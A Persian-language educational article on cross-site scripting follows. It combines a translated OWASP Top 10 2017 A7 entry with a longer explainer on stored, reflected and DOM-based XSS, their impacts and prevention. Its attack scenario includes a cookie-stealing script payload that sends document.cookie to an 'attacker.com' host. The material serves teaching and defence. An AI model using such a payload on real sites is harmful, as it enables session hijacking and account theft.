Cross-Site Scripting (XSS(

A7 2017
Cross-Site Scripting (XSS(
بردار حمله
App.Specific
قابلیت بهره برداری : 3

نقصهای XSS زمانی رخ میدهد که یک برنامه حاوی اطلاعات غیرقابل اعتماد در یک صفحه وب جدید بدون مجوز باشد یا یک صفحه وب موجود را با داده های ارائه شده توسط کاربر با استفاده از یک مرورگر API که میتواند جاوا اسکریپت تولید کند ،بهروزرسانی کند .XSS به مهاجمین امکان اجرای اسکریپتها در مرورگر قربانی را میدهد که میتواند جلوی کاربر را بگیرد، وبسایتها را خراب کند یا کاربر را به سایتهای مخرب هدایت کند.

ضعف امنیتی
شیوع : 3
قابلیت تشخیص : 3

XSS زمانی رخ میدهد که برنامه یک صفحه وب را با شیوع اطلاعات کنترل شده مهاجم، بدون بازگشت از آن محتوا یا بدون بسیار شایع استفاده از یک API جاوا اسکریپت امن ،بهروز میکند. معایب XSS ضعف امنیتي شامل دودسته اصلی: ذخیره شده و بازتاب شده است و هرکدام از آنها میتوانند بر روی سرور یا کلاینت ایجاد شوند. تشخیص اکثر نقصهای XSS از طریق تست یا تجزیه و تحلیل کد بسیار راحت است . شناسایی XSS سمت کلاینت بسیار دشوار است

تاثیرات
فنی : 2
تجاری ؟

مهاجمان میتوانند اسکریپتها را در مرورگر قربانی اجرا کنند تا کاربر را مسدود کنند، وب سایتها را از بین ببرند، محتوای خصمانه خود را متعادل وارد کنند، کاربران را هدایت کنند و مرورگر کاربر را با استفاده از برنامه های مخرب بشکنند.

شناسایی آسیب پذیری

شـما بـه XSS سـمت سـرور آسـیبپذیر هسـتید اگـر کـد سـمت سـرور شـما از ورودی هـای ارسـال شـده توسـط کاربـر بهعنـوان بخشـی از خروجـی HTML اسـتفاده کنـد و شـما بایـد از escape حسـاس بـه متـن، اسـتفاده کنیـد تـا مطمئـن شـوید کـه نمیتوانـد اجـرا شـود. اگـر یـک صفحـه وب بـرای انتقـال پویـای داده هـای قابـل کنتـرل مهاجـم بـه یـک صفحـه، از جـاوا اسـکریپت اسـتفاده کنـد آنـگاه شـما دارای نقـص XSS کالینـت هسـتید. بهطـور ایـدهآل بایـد از ارسـال داده هـای قابـل کنتـرل مهاجـم بـه API هـای جـاوا اسـکریپت ناامـن اجتنـاب کنیـد، امـا اسـتفاده از escape داده هـای ورودی میتوانـد شـما را امـن سـازد. ابزارهـای خـودکار میتواننـد برخـی از مشـکالت XSS را بهصـورت خـودکار پیـدا کننـد .بـا اینحـال، هـر برنامـه صفحـات خروجـی را بهصـورت متفاوتـی ایجـاد میکنـد و بـا اسـتفاده از کتابخانـه هـای سـهجانبه بـر روی ایـن فنآوریهــا، از مفســران ســمت مرورگــر ماننــد جــاوا اســکریپت، اکتیــو ایکــس، فلــش و ســیلورالیت اســتفاده میکننـد. ایـن تنـوع باعـث سـختی تشـخیص خـودکار میشـود، مخصوصـا زمانـی کـه از برنامـه هـای مـدرن تـک صفحـه و چارچوبهـا و کتابخانـه هـای قدرتمنـد جـاوا اسـکریپت اسـتفاده میکنیـد. بنابرایـن پوشـش کامـل عـاوه بـر رویکردهـای خـودکار بـه ترکیـب بررسـی کـد بهصـورت دسـتی و آزمـون نفـوذ، نیـاز دارد.

راه های جلو گیری

پیشگیری از نقص XSS نیاز به جداسازی داده های غیرقابل اعتماد از محتوای مرورگر فعال دارد.
1 .برای پیشگیری از XSS سمت سرور، گزینه اول این است که از داده های نامعلوم در چارچوب HTML )بدنه، ویژگی، جاوا اسکریپت ،CSS یا URL )که داده ها در آن قرار داده میشوند، استفاده نکنید .برای اطلاعات بیشتر در این زمینه Sheet Cheat Prevention XSS OWASP را ببینید.
2 .برای پیشگیری از XSS کالینت، گزینه اول این است که داده های غیرقابل اطمینان که میتواند محتوای فعال تولید کند، به جاوا اسکریپت و سایر API های مرورگر ارسال نکنید. زمانی که نتوان این کار را انجام داد ، میتوان همانطور که در Cheat Prevention XSS based DOM OWASP Sheet توصیف شده، تکنیکهای escape حساس به متن را به API های مرورگر اعمال کرد.
3 .برای دفاع از کل سایتتان در برابر XSS ،کتابخانه های پاکسازی خودکار مانند Java، AntiSamy Project Sanitizer HTML یا OWASP را در نظر بگیرید. 
4 .برای دفاع از کل سایتتان در برابر XSS ،سیاست امنیتی محتوا CSP را نیز در نظر بگیرید. 

مثال هایی از سناریوهای حمله

برنامه بدون تائید یا escape ،از داده های غیرقابل اعتماد در ساخت قطعه HTML زیر استفاده میکند:
 'type='TEXT 'name='creditcard input<" =+ page )String(
 + "'=value
مهاجم پارامتر CC("getParameter.request: ;">'" + )"را در مرورگر خود تغییر میدهد به 
''CC
 ?'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi
'>foo='+document.cookie</script
این حمله باعث میشود شناسه نشست قربانی به وبسایت مهاجم ارسال شده و به مهاجم اجازه سرقت نشست کاربر را میدهد.
توجه داشته باشید که مهاجمان میتوانند از XSS برای جلوگیری از هرگونه دفاع خودکار CSRF استفاده کنند. جزئیات بیشتر در مورد CSRF در 8A-2017 آمده است. 

منابع
OWASP
 
OWASP Types of Cross-Site Scripting
OWASP XSS Prevention Cheat Sheet
OWASP DOM based XSS Prevention Cheat Sheet
OWASP Java Encoder API
 )ASVS: Output Encoding/Escaping Requirements (V6
OWASP AntiSamy: Sanitization Library
Testing Guide: 1st 3 Chapters on Data Validation Testing
OWASP Code Review Guide: Chapter on XSS Review
 
External
 
OWASP XSS Filter Evasion Cheat Sheet
CWE Entry 79 on Cross-Site Scripting

جزییات بازدید : 2264

تاریخ انتشار : 23 / مرداد / 1398

اسکریپت چیست؟
قبل از شروع آشنایی با حملات XSS بگذارید تا با مفهوم اسکریپت آشنا شویم. اسکریپت یا Script در مبانی کامپیوتری و برنامه‌نویسی به دنباله‌ای از دستورالعمل‌های نوشتاری و کدها گفته می‌شود که توسط یک نرم‌افزار خوانده‌شده و سپس تفسیر و در انتها اجرا می‌گردد. زبان‌های اسکریپت نویسی در اصل نمونه‌های کوچکی از زبان‌های مادرشان به‌حساب می‌آیند.

اسکریپت‌ها برنامه‌های کوچکی هستند که می‌توان توسط آن‌ها برخی امور و وظایف تکرارشونده و پراستفاده را به‌صورت خودکار انجام داد. درواقع اسکریپت نویسی به کدهایی گفته می‌شود که غالباً تفسیر می‌شوند و نیاز به کامپایل ندارند؛ یعنی درواقع کامپایل آن‌ها در زمان اجرا انجام می‌گردد.

در زبان‌های برنامه‌نویسی مانند C، هنگامی‌که بخواهیم خروجی یک برنامه را ببینیم، باید ابتدا برنامه را کامپایل نماییم و بعد از نداشتن مشکل در برنامه خروجی نمایش داده می‌شود؛ ولی در زبان‌های اسکریپت نویسی وقتی کدها را اجرا می‌نماییم، از همان خط ابتدایی برنامه شروع به اجرا می‌کند و هرکجا اشتباه یا خطایی در اسکریپت نویسی رخ‌داده باشد ERROR می‌دهد و ادامه دستورات را اجرا می‌نماید. ازجمله زبان‌های اسکریپت نویسی می‌توان به Python، Java Scripy، Perl و PHP اشاره نمود.

اسکریپت نویسی فرا وبگاهی یا XSS
زمانی که یک سایت شروع به طراحی می‌شود برنامه‌نویس بادانش خود شروع به نوشتن کدهای HTML برای ساختن ساختار وب‌سایت می‌نماید و بعدازآن به‌وسیله‌ی CSS، نحوه‌ی چیدمان و به نمایش درآمدن عناصر و المان‌های مختلف زبان HTML را طراحی می‌نماید و در انتها به‌وسیله‌ی زبان Jquery که یک کتابخانه سبک و سریع از جاوا اسکریپت است برای رسیدگی به رویدادها، پیمایش اسناد HTML، متحرک‌سازی و تعاملات AJAX را به‌منظور توسعه وب‌سایت، فراهم می‌آورد.

زمانی که از حملات اسکریپت نویسی فرا وبگاهی یا همان حملات Cross-Site scripting که در اختصار به آن XSS گفته می‌شود صحبت می‌کنیم، باید توجه داشت که حملات XSS را با الگوهای آبشاری یا همان Cascading Style Sheet که در اختصار CSS گفته می‌شود اشتباه گرفته نشود.

شاید معمول‌ترین و مباحثه انگیزه‌ترین آسیب‌پذیری امنیتی برنامه‌های کاربردی وب، اسکریپت نویسی فرا وبگاهی یا همان حملات XSS باشد. ماهیت این حمله به این صورت است که مهاجم اسکریپت مخرب خود را به نحوی در برنامه کاربردی وب تزریق می‌کند. قربانی اصلی این نوع حملات کاربرانی هستند که از برنامه کاربردی تحت وب و یا وب‌سایت در حال استفاده هستند. نفوذ گر به این صورت می‌تواند اسکریپتی را توسط کاربر سایت فعال کند که ممکن است این اسکریپت راه نفوذی را برای هکر باز کند.

امروزه حملات XSS در هر برنامه کاربردی تحت وبی که ورودی‌های کاربر را در خروجی، بدون اعتبار سنجی یا کدگذاری استفاده می‌کند، وجود دارد. هکر با استفاده از آسیب‌پذیری اسکریپت نویسی فرا وبگاهی یا XSS، در جهت ارسال اسکریپت‌های مخرب خود به سمت قربانی استفاده می‌نماید. مرورگر کاربر نهایی، هیچ راهی برای تشخیص نامطمئن بودن اسکریپت ندارد و آن را اجرا خواهد نمود.

ازآنجایی‌که مرورگر قربانی فرض را بر این می‌گیرد که اسکریپت‌ها از منبع مورد اعتماد ارسال‌شده است، مرورگر به آن اسکریپت مخرب اجازه‌ی دسترسی به تمام داده‌هایی که دسترسی به آن توسط مرورگر برای یک سایت امکان‌پذیر است را می‌دهد. این اطلاعات حساس می‌تواند شامل کوکی‌ها، توکن های مربوط به یک نشست یا جلسه و … باشد. به‌وسیله این اسکریپت‌های مخرب می‌توان یک صفحه سند HTML را مجدداً بازنویسی کرد.

چه زمانی حملات XSS رخ می‌دهد؟
حملات XSS به‌صورت کلی در دو حال زیر رخ می‌دهد:

زمانی که داده‌ها از مبدأ نامطمئن به برنامه کاربردی وب ارسال‌شده و یا در بیشتر موارد وارد یک درخواست (Request) وب می‌شود.
زمانی که داده در محتوای پویا و دینامیک وجود دارد و بدون اعتبار سنجی‌های لازم به سمت کاربر ارسال می‌گردد.
در اکثر موارد، محتوای مخربی که به سمت مرورگر قربانی ارسال می‌شود، در شکل و قالب جاوا اسکریپت است؛ اما شاید شامل فایل‌های HTML یا فایل‌های فلش و یا هر نوع کد قابل‌اجرا توسط مرورگر و یا اسکریپت‌های سمت گیرنده، نیز باشد.

حملات XSS باعث جابه‌جا شدن داده‌های حساس و خصوصی کاربر مثل کوکی‌های یا سایر اطلاعات نشست کاربر به هکر می‌گردد. منتقل کردن یا Redirect قربانی به صفحه‌ای مخرب که توسط هکر کنترل می‌شود، نیز یکی از آسیب‌پذیری‌های جدی حملات XSS است. در تصویر زیر یک نمونه از حملات تزریق XSS نمایش داده‌شده است.

انواع حملات XSS یا حملات اسکریپت نویسی فرا وبگاهی
حملات XSS به‌صورت کلی به دو دسته حملات XSS ذخیره‌شده یا Stored و حملات XSS بازتابی یا Reflected تقسیم‌بندی می‌شوند؛ اما یک نوع سومی از این نوع حملات نیز وجود دارد که به آن DOM Base XSS گفته می‌شود.

اینجا این نکته حائز اهمیت است که بدانیم درگذشته نه‌چندان دور حملات XSS به سه دسته تقسیم می‌شده‌اند. این سه دسته عبارت بودند از:

حمله‌ی Stored XSS یا Persistent و یا Type I
حمله‌ی Reflected XSS یا Non-Persistent و یا Type II
حمله‌ی DOM Based XSS یا Type-0

اما با توجه به حملات ترکیبی XSS، محققین امنیتی از سال ۲۰۱۲ حملات XSS را در دو دسته کلی ادغام کردند. این دو دسته از حملات به‌صورت زیر نام‌گذاری شده‌اند.

حملات Server XSS
حملات Client XSS
در این دسته‌بندی جدید، هر دسته شامل حملات XSS ذخیره‌شده و XSS بازتابی می‌باشند؛ و همچنین حملات DOM Based XSS زیرمجموعه‌ی حملات Client XSS قرار گرفت. با این دسته‌بندی، کل حملات را می‌توان در یک ماتریس ۲ در ۲ به‌صورت زیر خلاصه کرد.

۱-حمله‌ی XSS ذخیره‌شده یا ماندگار یا XSS Stored/Persistent Attack
در این نوع از حملات یک اسکریپت مخرب، به‌صورت پایدار بر روی یک سرور ذخیره می‌گردد. ممکن است این اسکریپت مخرب بر روی پایگاه داده، فروم ها، فیلدهای جست‌وجو و یا قسمت نظرات قرارگرفته باشد.

زمانی که قربانی درخواست یا Request ی را به سمت سرور مخرب ارسال می‌کند، سرور پاسخ را از قسمت ذخیره‌شده به قربانی تحویل می‌دهد و سپس اسکریپت مخرب بر روی مرورگر قربانی اجرا می‌گردد و قربانی طعمه‌ی حملاتی از این نوع می‌شود. گاهی این نوع حملات را با عنوان‌های حملات پایدار، Persistent و یا Type-I نیز معرفی می‌نمایند.

در این‌گونه از حملات، هکر اسکریپت‌های مخرب خود را بر روی سروری ذخیره کرده و قربانیان را به‌وسیله‌ی تکنیک‌های مهندسی اجتماعی به وب‌سایت‌های مخرب ارجاع می‌دهد و هکر می‌تواند کنترل سیستم‌عامل قربانی را در دست بگیرد.

فروم های کاربر (User Forum)، نشریه‌ها و دیگر مکان‌هایی که کاربر می‌تواند ورودی نمایش داده‌شده را برای دیگر کاربران ذخیره نماید، به‌صورت ایده آل مکان‌هایی برای این مجموعه از حملات هستند. این حمله به‌عنوان یکی از حملات خطرناک در سطح وب شناخته می‌شود.

۲- حمله‌ی XSS بازتابی یا غیر ماندگار یا XSS Reflected/Non-Persistent Attack
حملات بازتابی XSS بروی یک ارسال کاربر و همچنین یک درخواست گنجانده‌شده با حمله XSS تکیه می‌کند، بنابراین به‌احتمال‌زیاد برخی از انواع مؤلفه‌ها و تکنیک‌های مهندسی اجتماعی در حمله وجود خواهند داشت.

درواقع داشتن یک حمله مهندسی اجتماعی و یک حمله‌ی XSS با یکدیگر، موفقیت را برای حملات هکرها افزایش می‌دهد، زیرا شما می‌توانید بامهارت، یک URL که قسمتی از یک وب‌سایت واقعی (یک وب‌سایت شناخته‌شده و مورد اعتماد کاربر است) است و از XSS استفاده می‌نماید را برای فریب دیگران بکار ببرید، برای مثال، زمانی که کاربر را به‌سوی یک صفحه مخرب تغییر جهت (Redirect) دهیم، حملات XSS به ما اجازه می‌دهد که اسکریپت مخرب خود را ایجاد و اجرا نماییم.

حملات بازتابی XSS درزمانی رخ می‌دهد که اسکریپت‌های تزریق‌شده توسط وب سرور بازتاب داده شود. این بازتاب یا برگرداندن جواب توسط وب سرور ممکن است در قالب پیام‌های خطا و یا نتایج جست‌وجو و یا هر پاسخ دیگری باشد. پاسخی که وب سرور بازتاب می‌دهد، شامل قسمتی و یا تمام ورودی ارسال‌شده به سمت سرور، در زمان ارسال درخواست است.

زمانی که هکر، کاربر یا قربانی را به‌صورت مهندسی اجتماعی فریب دهد و روی لینک آلوده کلیک کند می‌توان گفت که این حمله با موفقیت صورت گرفته است و داده‌ها به سمت هکر ارسال می‌شود و یا ممکن است که کاربر به سایت آلوده دیگری ارجاع داده شود. حمله‌ی XSS از نوع بازتابی بانام‌های ناپایدار یا Persistent-Non و Type-II نیز شناخته می‌شود.

۳- حمله‌ی XSS مبتنی بر مدل شی سند XSS Document Object Modal(DOM) Base Attack
علاوه بر دو نوع حمله‌ی XSS که در بالا ذکر کردیم، نوع سومی از این حملات وجود دارد که با عنوان حملات اسکریپت نویسی مبتنی بر مدل شی سند یا همان XSS DOM Base Attack شناخته می‌شود؛ و در سال ۲۰۰۵ توسط Klein Amit معرفی شد.

اسکریپت نویسی فرا وبگاهی مبتنی بر مدل شی سند یا DOM XSS، یک‌گونه حمله‌ی منحصربه‌فرد از آسیب‌پذیری است که شباهت زیادی به حملات XSS بازتابی دارد ولی با این تفاوت که در حملات DOM XSS دیگر نیاز به ارسال قربانی به لینک وب‌سایت آسیب‌پذیر دارای اسکریپت مخرب نیست.

آسیب‌پذیری مبتنی بر مدل شی سند یا DOM XSS در اصل اکسپلویت‌کردن و بهره‌برداری از ضعف امنیتی در تصدیق ورودی‌هایی است که توسط کاربران و کلاینت‌ها به وجود می‌آید.

به‌عبارت‌دیگر، آسیب‌پذیری مبتنی بر مدل شی سند یا DOM XSS نتیجه یک ضعف امنیتی درون یک اسکریپت سمت سرور نیست، بلکه نتیجه کنترل نادرست داده‌های ارائه‌شده توسط کاربر در سمت کلاینت است؛ مانند دیگر انواع ضعف‌های امنیتی اسکریپت نویسی فرا وبگاهی، آسیب‌پذیری مبتنی بر مدل شی سند یا DOM XSS می‌تواند برای دزدیدن اطلاعات حساس یا دزدیدن حساب‌های کاربری استفاده شود. به‌هرحال، این موضوع ضروری است که بدانید، این نوع ضعف امنیتی متکی به جاوا اسکریپت و استفاده ناامن از داده‌های به‌دست‌آمده از ساختار است.


نتایج حملات XSS
در انواع حملات از نوع‌های Based DOM,Reflected,Stored نتیجه کار این است که کاربر موردحمله قرارگرفته و در این نوع حملات نتیجه یکسانی به دست می‌آید ولی تفاوت اصلی این نوع حملات در نحوه‌ی رسیدن هکر به سرور است.

یکی تفکرات رایج و اشتباه این است که سایت‌های خبری و سایت‌هایی که فقط حالت خواندنی هستند، در برابر حملات XSS بازتابی در امان‌اند. کلاینت‌ها یا همان کاربران نهایی در این نوع حملات دچار مشکلاتی خواهند شد که از آن جمله مشکلات می‌توان به اذیت و آزارهای کوچک تا مشکلات کاملاً حاد و جدی در حساب‌های بانکی و کاربری نام برد.

بدترین حالت از حملات XSS به سرقت رفتن و افشای کوکی‌های نشست کاربر است که هکر می‌تواند کنترل حساب کاربر و اطلاعات حساس کاربر را به دست آورد. ازجمله خسارت‌های خطرناک حملات XSS می‌توان به افشای فایل‌ها و اطلاعات کاربر، نصب برنامه‌ها مخرب ازجمله تروجان ها و BackDoor ها، تغییر مسیر یا Redirect کردن کاربر به سایت‌ها و صفحات دیگر برای حملات فیشینگ و مهندسی اجتماعی نام برد.